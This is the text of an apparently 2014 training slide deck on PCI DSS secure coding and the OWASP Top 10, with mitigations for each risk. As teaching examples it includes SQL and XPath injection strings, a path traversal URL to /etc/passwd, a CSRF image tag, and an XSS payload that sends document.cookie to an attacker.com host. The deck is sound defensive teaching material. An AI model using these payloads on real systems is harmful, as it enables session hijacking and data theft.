PCI security requirements secure coding and code review 2014

PCI Security Requirements – Secure
Coding & Code Review Tips
Haitham Raik

Overview
 PCI DSS is a security standard that includes
requirements for:
 security management,
 policies,
 procedures,
 network architecture,
 software design and other critical protective measures
 PCI DSS purpose: to help the organizations to
protect customer account data.
 This session doesn‟t cover all the security
requirements.
 This session covers only what has impact on our
code.

OWASP Top 10
 OWASP top 10 educates
developers, designers, managers, and organizations
about the most important security risks.
 OWASP top 10 provides basic techniques to protect
against the high risk security problems.

OWASP Top 10 - Injection
 Injection flows, such as SQL, OS, Xpath, and
LDAP injection occur when untrusted data is sent to
an interpreter.
 This data can trick the interpreter to execute
unintended commands or accessing unauthorized
data.
 Threat Agents: anyone who can send data to the
system.
 Exploitability: Easy
 Prevalence: Common
 Detectability: Average
 Impact: Severe

 SQL Injection Example:
 String sqlString = "SELECT * FROM users WHERE
fullname = '" + form.getFullName() + "' AND
password = '" + form.getPassword() + "'";
 Case 1: full name: Haitham, password:
123pass
 Result: SELECT * FROM users WHERE username =
„Haitham' AND password = '123pass'
 Case 2: full name: Ala' Ahmad, password:
123pass
'Ala' Ahmad' AND password = „13pass'
 Case 3: full name: blah, password: ' OR '1' =
'1
'blah' AND password = '' OR '1' = '1'

 XPath Injection Example:
 XML file:
<?xml version="1.0" encoding="utf-8"?>
<employees>
<employee id="AS1" firstname="John" salary=“100"/>
<employee id="AS2" firstname=“Adam“ salary=“200"/>
</employees>
 XPATH expression: String exp =
“/employees/employee[@id=„”+form.getEID()+”']”
 User Input: Emp_ID=‘ or '1'='1
Result: /employees/employee[@id=„‘ or '1'='1']

 Injection Protection:
 The preferred option is to use a safe API which provides a
parameterized interface.
String stmt = “select * from emp where id=?”;
PreparedStatement pstmt = con.prepareStatement(stmt);
pstmt.setString(1, empId);
 If a parameterized API is not available, escape the special
characters.
String exp = “/employees/employee[@id=„”+
ESAPI.encoder().encodeForXPath(form.getEID())+
”']”
 If special characters are not required in the input, then the
white-list validation is also recommended.

 References:
 https://www.owasp.org/index.php/SQL_Injection_Preventi
on_Cheat_Sheet
 https://www.owasp.org/index.php/Query_Parameterizatio
n_Cheat_Sheet
 https://www.owasp.org/index.php/Command_Injection
 https://www.owasp.org/index.php/Testing_for_SQL_Injecti
on_(OWASP-DV-005)

OWASP Top 10 - Broken Authentication and
Session Management
 Functions related to authentication and session
management are often not implemented correctly.
 Allow attackers to compromise passwords, keys, or
session tokens.
 Threat Agents: anyone who may attempt to steal
accounts from others to impersonate them.
 Exploitability: Average
 Prevalence: Widespread
 Impact: Severe

Session Management
 Broken Authentication Examples:
 Application supports URL re-writing, putting session IDs
in the URL: http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV
 if an authenticated user emailed the above link to his friends to
see the sale, he will give also his session ID.
 Application‟s timeout aren‟t set properly. User uses a
public computer to access a site and forgot to logout.
 User passwords are not hashed and internal attacker
gains access to the password database.

Session Management
 Session Management Examples:
 Session Hijacking attacks compromises the session token
by stealing or predicting a valid session ID to gain
unauthorized access.
 Session ID can be compromised in different ways:
 If application generates predictable session IDs (For example
using sequencer).
 Session Sniffing
 XSS
 Man in the middle attack
 Man in the browser attack

Session Management
 Session Management Examples:
 Application allow session fixation:

Session Management
 Authentication Recommendations:
 Implement Proper Password Policy:
 Minimum length should be enforced by application; shorter than
10 characters considered weak.
 Application should enforce password complexity; at least 1
upper case char, at least 1 lowercase char, at least 1 digit and at
least 1 special char.
 Changing password should be EASY.
 Store Passwords hashed using strong algorithm (SHA2).
 Transmit passwords only over TLS.
 Require Re-authentication for sensitive requests (This
also protect against XSS and CSRF attacks)
 for example: shipping a purchase requests.

Session Management
 More Authentication Recommendation:
 Application must respond to failed login with generic
message;
 “Login Failed; Invalid UserID or password”
 Application must prevent Brute-Force Attacks (prevent
attacker to guess a password);
 Account must be locked out if more than a preset number of
failed logins are made.
 Use a single authentication point.
 Password must not be exposed in URL or hidden field.
 Password autocomplete should always be disabled.
<INPUT TYPE="password" AUTOCOMPLETE="off">
<form … AUTOCOMPLETE="off">

Session Management
 Session Protection Recommendations:
 It is recommended to use JEE built-in session management.
request.getSession();
 Transmit session IDs only over TLS
 Use Cookies for session ID exchange with following attributes:
 Secure Attribute; instruct the browser to only send session Id over
HTTPS
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;Secure
 HTTPOnly Attribute; instruct the browser not to allow malicious
scripts to access the cookies.
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;HTTPOnly
 Domain and Path attributes; instruct the browser to only send the
cookie to the specified domain and all sub-domains.
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;Domain=docs.foo.co
m;Path=/accounts;

Session Management
 More Session Protection Recommendations:
 Invalidate the Session ID after any privilege level change for
the associated user.
session.invalidate();
 The session ID regeneration is mandatory to prevent session
fixation attacks.
 Set Session timeout:
 2-5 minutes for high-value applications
 15-30 minutes for low-value applications
<web-app ...>
<session-config>
<session-timeout>20</session-timeout>
</session-config>
</web-app>

Session Management
 More Session Protection Recommendations:
 Force session logout on browser close event using
javascript
window.addEventListener('unload', function() {
var xhr = new XMLHttpRequest();
xhr.open('GET', „Logout.jsp', false);
xhr.send(null);
}, false);
 Prevent simultaneous logons.

Session Management
 Detection:
 User credentials aren‟t stored securely.
 Session IDs/Passwords are exposed in the URL.
 Session IDs/Passwords are exposed in hidden fields.
 Session IDs don‟t timeout.
 Session IDs aren‟t properly invalidated during logout.
 Session IDs aren‟t rotated after successful login (this is
required to prevent session fixation).
 Passwords and session IDs are sent over unencrypted
connections.
 No lockout mechanism is implemented.
 Browser offers to remember any account credentials.
 Password is printed clear in the system logs.

Session Management
 References:
 https://www.owasp.org/index.php/Authentication_Cheat_S
heet
 https://www.owasp.org/index.php/Session_Management_
Cheat_Sheet

OWASP Top 10 – Cross-Site Scripting (XSS)
 XSS occur whenever an application takes untrusted
data and sends it to browser without proper
validation or escaping.
 XSS allows attackers to execute scripts in the
victim‟s browser which can hijack user sessions or
redirect the user to malicious sites.
 Threat Agents: anyone who can send untrusted
data to the system.
 Prevalence: Very Widespread
 Detectability: Easy
 Impact: Moderate

 Examples:
 Application uses untrusted data in the construction of
HTML response:
(String) page += "<input name='creditcard'
type='TEXT„ value='" + request.getParameter("CC") +
"'>";
The attacker modifies the „CC‟ parameter in his browser to:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
This causes the victim‟s session ID to be sent to the
attacker‟s website.

 More XSS protection:
 The preferred option is to properly escape all untrusted
data based on the HTML context.
 String safe = ESAPI.encoder().encodeForHTML(
request.getParameter( "input" ) );
 ESAPI.encoder().encodeForHTMLAttribute(
request.getParameter( "input" ) );
 ESAPI.encoder().encodeForJavaScript( request.getParameter(
"input" ) );
 Whitelist input validation is also recommended; validation
should validate the length, characters, format, and
business rules.
 For rich content, use auto-sanitization libraries like
OWASP AntiSamy.
 Use HTTPOnly & Secure attributes

 More XSS Protection:
 Implement Content Security Policy; CSP is a browser side
mechanism to create source whitelists for client side
resources.
Content-Security-Policy: default-src:
'self'; script-src: 'self' static.domain.tld
 Browser will load all resources only from page‟s origin
 Browser will load javascript only from page‟s origin and
static.domain.tld

 References:
 https://www.owasp.org/index.php/XSS_(Cross_Site_Scrip
ting)_Prevention_Cheat_Sheet
 https://www.owasp.org/index.php/Cross-
site_Scripting_(XSS)
 http://owasp-esapi-
java.googlecode.com/svn/trunk_doc/latest/org/owasp/esa
pi/Encoder.html
 https://www.owasp.org/index.php/AntiSamy
 https://www.owasp.org/index.php/Content_Security_Polic
y

OWASP Top 10 – Insecure Direct Object
References
 DOR occurs when a reference is exposed to an
internal object, such as:
 Directory, file, database key.
 Without proper protection attacker can manipulate these
references to access unauthorized data.
 Threat Agents: authorized user who has partial
access to certain functions.

References
 Examples:
 The application uses unverified data in a SQL call that is
accessing account information:
String query = "SELECT * FROM accts WHERE account =
?";
PreparedStatement pstmt =
connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
 The attacker simply modifies the „acct‟ parameter to send
whatever account number he wants
http://example.com/app/accountInfo?acct=notmyacct

References
 More Examples:
 http://www.example.com/GetFile?fileName=image.jpg
 What will happen if user manipulated with the above URL
as following:
http://www.example.com/GetFile?fileName=../../etc/passw
d

References
 DOS Prevention:
 Use per session indirect object references.
 This prevents attacker from directly targeting unauthorized
resources.
 Check access
 Each use of a direct object reference must include and access
control check.
 Check access vs. Indirect object reference
 Authorization:
 May require an extra DB hit
 Exposes actual ID
 Indirect object reference
 May not require an extra DB hit
 Hides actual ID
 Requires a bit of extra coding and some extra information
 Not very popular

References
 References:
 https://www.owasp.org/index.php/Top_10_2007-
Insecure_Direct_Object_Reference
 http://cwe.mitre.org/data/definitions/22.html

OWASP Top 10 – Security Misconfiguration
 Security Misconfiguration occurs when default setup
and configuration is used and no regular updates are
performed on software.
 Threat Agents: Anyone who want to compromise
the system.

OWASP Top 10 – Security Misconfiguration
 Recommendations:
 Secure settings should be defined, implemented and
maintained, as defaults are often insecure.
 Perform regular updates on software

OWASP Top 10 – Sensitive Data Exposure
 Occur when sensitive data (such as credit card) are
not properly protected.
 Attackers may steal or modify such weakly protected
data.
 Threat Agents: Anyone who access to the sensitive
data. This include data in DB, in transit, and even in
users browser.
 Exploitability: Difficult
 Prevalence: Uncommon
 Impact: SEVERE

 Examples:
 A site doesn‟t use SSL for pages capture sensitive data.
 Attacker monitors network traffic and steals the user‟s sensitive
data.
 The password database uses unsalted hashes to store
passwords.
 Attacker may use rainbow table of pre-calculated hashes to
compromise the plain passwords.

 Determine what is the data you want to protect.
 Only store sensitive data that you need
 Only use strong cryptographic algorithms; AES, RSASHA-
256
 Ensure that random numbers are cryptographically strong
 Java.security.SecureRandom
 Store the passwords hashed and salted.
 Define a key lifecycle.
 Store Card numbers encrypted and/or Masked.
 Use TLS for all login pages
 Use TLS for channels transmitting sensitive data.
 Don‟t mix non-TLS and TLS contents

 More Recommendations:
 Use “Secure” Cookie flag
 Keep sensitive data out of the URL
 Prevent Caching of sensitive data:
 Add HTTP response headers; "Cache-Control: no-cache, no-
store“, "Expires: 0“, and "Pragma: no-cache“
 Disable TLS compression
 Use Fully Qualified Names in Certificates
 Do Not Use Wildcard Certificates

 References:
 http://en.wikipedia.org/wiki/Rainbow_table
 https://www.owasp.org/index.php/Cryptographic_Storage
_Cheat_Sheet
 https://www.owasp.org/index.php/Password_Storage_Ch
eat_Sheet
 https://www.owasp.org/index.php/Transport_Layer_Protec
tion_Cheat_Sheet

OWASP Top 10 – Missing Function Level
Access Control
 With this threat, the attacker changes the URL to
access a privileged pages.
 Threat Agents: Anyone; authorized user or
anonymous user.

Access Control
 Examples:
 User changes URL from:
http://www.example.com/get_info
 To: http://www.example.com/get_Admin_Info
 A page provides an action parameter to specify the
function being invoked and user changed the action
value.

Access Control
 Ensure the access control matrix is part of the business,
architecture, and design of the application
 Ensure that all URLs and business functions are
protected by centralized and effective access control
mechanism.
 For example by using a servlet filter the intercepts all incoming
requests to verify if the user is authorized to access the
requested page
 Just because your URL is hard to guess, doesn‟t mean it
can‟t be found!
 Put your UI files under /WEB-INF

Access Control
 Web applications should access the database through
one or more limited accounts that do not have schema-
modification privileges

OWASP Top 10 – Cross-Site Request Forgery
(CSRF)
 CSRF: forces logged-in victim to send a request to a
vulnerable web application.
 Threat Agents: Anyone.
 Impact: Severe

(CSRF)
 Examples:
 A hacker posts to a blog containing an image tag (blog
site allows XSS):
 <img
src=“http://www.yourbank.com/transfer?to_acc=hacker_acc_nu
m&amount=1000”/>
 User logs into yourbank.com (session is active for user)
 User visits the blog (without logging-out from
yourbank.com)
 Loading the image will send request to the bank site
 The bank will transfer the user‟s money to hacker‟s
account

(CSRF)
 Make sure there are no XSS vulnerabilities in your
application; refer to XSS protection slides.
 Do not use GET requests to perform transactional
operations.
 For sensitive transactions, re-authenticate.
 Add a confirmation page.
 Use CAPTCHA
 Insert custom random tokens into every form and URL
 CSRF token must be different on each request or at least on
each session.
 Use CSRFTester tool; CSRFTester give developers the
ability to test their applications for CSRF flaws

(CSRF)
 Do not use GET requests
public void doGet(HttpServletRequest
req, HttpServletResponse resp) {
throw new Exception(“Invalid operation”);
}

(CSRF)
 References:
 https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
 https://www.owasp.org/index.php/CSRFGuard
 https://www.owasp.org/index.php/CSRFTester

OWASP Top 10 – Using Components with
Known Vulnerabilities
 Components, such as libraries, frameworks, and
other software modules, almost always run with full
privileges.
 If a vulnerable component is exploited, such an attack can
facilitate serious data loss or server takeover
 Threat Agents: Anyone.
 Prevalence: Widespread
 Detectability: Difficult

 Examples:
 Apache CXF Authentication Bypass – By failing to provide
an identity token, attackers could invoke any web service
with full permission.
 Struts Vulnerabilities:
http://www.cvedetails.com/vulnerability-list/vendor_id-
45/product_id-6117/Apache-Struts.html

 Identify all components and the versions you are using.
 Monitor the security of these components in public
databases; http://www.cvedetails.com/
 Where appropriate, consider adding security wrappers
around components to disable secure weak aspects of
the component.
 Always update the component to the latest version.

OWASP Top 10 – Un-validated Redirects
and Forwards
 Web applications usually redirect users to other
pages, and use untrusted data to determine the
destination pages.
 Without proper validation, attackers can redirect victims to
phishing sites.
 Threat Agents: Anyone who can trick your users.
 Prevalence: Uncommon

and Forwards
 Examples:
 The application has a page called “redirect.jsp” which
takes a parameter named “url”.
 The attacker emails to victim a malicious URL:
http://www.example.com/redirect.jsp?url=evil.com

and Forwards
 Simply avoid using redirects.
 If used to, don‟t involve user parameters to determine the
destination.
 If parameters can‟t be avoided, ensure that the supplied
value is valid.
 Applications can use ESAPI to override the sendRedirect()
method to make sure all redirect destinations are safe.

and Forwards
 References:
 http://owasp-esapi-
java.googlecode.com/svn/trunk_doc/latest/org/owasp/esa
pi/filters/SecurityWrapperResponse.html#sendRedirect(ja
va.lang.String)

Improper error handling
 Providing too much information to the user when an
error occurs.
 Examples:
 An error message with too much detail
 Stack trace
 Failed SQL statement

Improper error handling
 Recommendation:
 Write detailed error information to secure Log.
 Configure an exception handler in the web.xml for all un-
handled exceptions
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error.jsp</location>
</error-page>

ClickJacking
 Clickjacking occurs when your site can be
embedded into other sites.
 Attacker can lead user to believe they are typing-in the
password to their email, but are instead typing into an
invisible frame hijacks your keystrokes.
 To Prevent ClickJacking, you need to prevent your
site from being embedded in iframes.
 Use X-FRAME-OPTIONS header:
 DENY
 SAMEORIGIN
 ALLOW-FROM uri

Useful HTTP Response Headers
Header Name Description Example
Strict-Transport-
Security
Force every browser request to be sent
over TLS/SSL
Strict-
Transport-
Security: max-
age=8640000;
includeSubDo
mains
X-Frame-
Options
Provides Clickjacking protection X-Frame-
Options: deny
X-XSS-
Protection
This header enables the Cross-site
scripting (XSS) filter built into most recent
web browsers. It's usually enabled by
default anyway, so the role of this header is
to re-enable the filter for this particular
website if it was disabled by the user.
X-XSS-
Protection: 1;
mode=block
X-Content-Type-
Options
The only defined value, "nosniff", prevents
Internet Explorer and Google Chrome from
MIME-sniffing a response away from the
declared content-type.
X-Content-
Type-Options:
nosniff

Header Name Description Example
X-WebKit-CSP CSP prevents a wide range of attacks,
including Cross-site scripting and other
cross-site injections.
X-WebKit-CSP:
default-src 'self'

 Sample response from google.com:
cache-control:private, max-age=0
content-encoding:gzip
content-type:text/html; charset=UTF-8
date:Wed, 05 Mar 2014 11:21:10 GMT
expires:-1
set-cookie:PREF=ID=3bb418586446f822; expires=Fri, 04-Mar-2016
11:21:10 GMT; path=/; domain=.google.com
x-frame-options:SAMEORIGIN
x-xss-protection:1; mode=block

Useful Tools
 Code Review Tools:
 CodeCrawler
 Orizon
 O2
 FindSecurityBugs: This is a plugin for FindBugs
 Application Penetration Testing Tools:
 WebScarab
 ZAP

PCI security requirements secure coding and code review 2014

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Viewers also liked

Viewers also liked (18)

Similar to PCI security requirements secure coding and code review 2014

Similar to PCI security requirements secure coding and code review 2014 (20)

More from Haitham Raik

More from Haitham Raik (11)

Recently uploaded

Recently uploaded (20)

PCI security requirements secure coding and code review 2014

Editor's Notes